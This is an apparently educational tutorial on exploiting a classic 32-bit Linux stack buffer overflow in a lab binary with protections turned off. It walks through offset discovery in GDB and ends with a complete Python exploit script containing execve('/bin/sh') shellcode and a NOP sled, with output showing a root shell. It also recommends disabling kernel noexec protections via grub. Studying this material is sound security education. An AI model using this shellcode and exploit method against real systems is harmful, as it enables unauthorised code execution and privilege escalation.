Tutorial

Basic Stack Buffer Overflow on x86

A comprehensive guide to exploiting stack buffer overflows on 32-bit Linux systems, from vulnerability discovery to shellcode execution.

2 min read intermediate

Prerequisites

  • Understanding of x86 assembly and calling conventions
  • Familiarity with GDB and GDB-PEDA
  • Basic Python scripting
  • Knowledge of memory layout and the stack

Part 4 of 12 in Linux Exploitation Fundamentals

Table of Contents

This tutorial walks through exploiting a classic stack buffer overflow on a 32-bit Linux system. We’ll identify the vulnerability, find the EIP offset, and execute shellcode to spawn a shell.

For a visual introduction to how buffer overflows corrupt memory, the Memory Corruption Playground lets you trigger overflows and watch the stack corrupt in real time. The Exploit Chain Visualizer maps the full five-stage path from vulnerability discovery through code execution.

Initial Analysis

Identifying Vulnerable Functions

Use ltrace to trace library calls:

ltrace ./unknown

If you see strcpy being called with user-controlled input, the binary is likely vulnerable:

strcpy(0xbffff456, "user_input"...

Checking Security Settings

Use checksec to identify protections:

checksec --file=./unknown

For this tutorial, we assume:

  • NX disabled (executable stack)
  • No stack canary
  • No PIE
  • ASLR disabled

Finding the EIP Offset

Discovering the Crash Point

The binary takes command-line arguments. Test for overflow:

gdb -q ./unknown
gdb-peda$ pattern create 400
gdb-peda$ run 'AAA%AAs...'  # paste the pattern

After the crash:

Stopped reason: SIGSEGV
0x5a254177 in ?? ()
gdb-peda$ pattern offset 0x5a254177
1512391031 found at offset: 390

Verifying EIP Control

Create a test payload:

# payload.py
payload = "A"*390
payload += "BBBB"
print(payload)
gdb-peda$ run `python payload.py`

Stopped reason: SIGSEGV
0x42424242 in ?? ()

EIP is under our control.

Locating the Buffer in Memory

Examine the stack to find where our buffer lands:

gdb-peda$ x/30wx $esp-0x190
0xbffff2a0:     0xb7fd91c0      0x4141fc08      0x41414141      0x41414141
0xbffff2b0:     0x41414141      0x41414141      0x41414141      0x41414141

The buffer begins at approximately 0xbffff2a6.

Testing Execution Flow

Using INT3 Breakpoints

Before adding shellcode, verify we can redirect execution using INT3 instructions:

# payload.py
payload = "\xcc"*390              # INT3 breakpoints
payload += "\xc0\xf2\xff\xbf"     # EIP = 0xbffff2c0

print(payload)
gdb-peda$ run `python payload.py`

Program received signal SIGTRAP, Trace/breakpoint trap.
0xbffff2c1 in ?? ()

We’re executing code on the stack.

Adding a NOP Sled

Add NOPs before the shellcode for reliability:

sc = "\xcc"  # INT3 placeholder
nop = "\x90"*50

payload = ""
payload += nop
payload += sc
payload += "A"*(390-len(nop)-len(sc))
payload += "\xc0\xf2\xff\xbf"  # EIP

print(payload)

Creating the Exploit

Shellcode

Use a simple execve("/bin/sh") shellcode:

sc = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80"

Complete Exploit

# exploit.py
sc = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80"
nop = "\x90"*50

payload = ""
payload += nop
payload += sc
payload += "A"*(390-len(nop)-len(sc))
payload += "\xc0\xf2\xff\xbf"  # Return address

print(payload)

Testing in GDB

gdb-peda$ run `python exploit.py`

process 2911 is executing new program: /bin/dash
$

Adjusting for Outside GDB

Memory addresses differ outside the debugger due to environment variables and other factors.

Generate a Core Dump

ulimit -c unlimited
./unknown `python exploit.py`

Analyze the Core

gdb -q ./unknown ./core
gdb-peda$ x/40wx $esp-0x200

Find the NOP sled and update the return address accordingly.

Final Execution

(python exploit.py; cat) | ./unknown
whoami
root

Key Concepts

Buffer Layout

[    NOP Sled    ][  Shellcode  ][   Padding   ][ Return Addr ]
     50 bytes        23 bytes      317 bytes       4 bytes
                                                      |
                                        Points into NOP sled

Why NOPs?

The NOP sled provides a landing zone. Small variations in stack addresses between runs are absorbed by the sled, making the exploit more reliable.

Common Bad Characters

  • 0x00 - Null byte, terminates strings
  • 0x0a - Newline, may terminate input
  • 0x0d - Carriage return

Troubleshooting

Shellcode Not Executing

If execution fails with -z execstack:

  1. Check kernel parameters - some require noexec=off:

    # /etc/default/grub
    GRUB_CMDLINE_LINUX_DEFAULT="quiet noexec=off noexec32=off"
  2. Update grub and reboot:

    sudo update-grub

Address Differences

Stack addresses differ between GDB and normal execution. Always verify with core dumps when exploiting outside the debugger.